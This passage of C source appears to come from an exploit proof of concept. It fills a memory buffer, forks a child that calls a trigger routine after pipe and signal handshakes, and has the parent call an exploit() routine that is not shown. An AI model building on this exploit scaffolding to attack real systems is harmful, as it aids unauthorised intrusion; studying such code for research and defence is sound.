                       MAP_PRIVATE | MAP_ANONYMOUS | MAP_POPULATE, -1, 0);
  memset(global_buffer, 'A', 0x2000);
  memset(global_data, 0, 0x1000);

  printf("global data at %p, buffer at %p\n", global_data, global_buffer);

  // parent_id = getpid();
  child_pid = fork();
  if (child_pid < 0)
    err(1, "fork");

  if (child_pid == 0) {
    char data[0x10];
    pipe(signal_pipes);
    write(signal_pipes[1], "T", 1);
    read(signal_pipes[0], data, 1);
    signal(SIGUSR1, signal_handler);
    read(signal_pipes[0], data, 1);
    assert(data[0] == 'S');
    do_trigger();
    kill(getppid(), SIGUSR2);
    exit(0);
  }
  signal(SIGUSR2, signal_handler);
  signal(SIGUSR1, signal_handler);

  if (pipe(signal_pipes) < 0) {
    err(1, "pipe in parent");
  }

  exploit();
}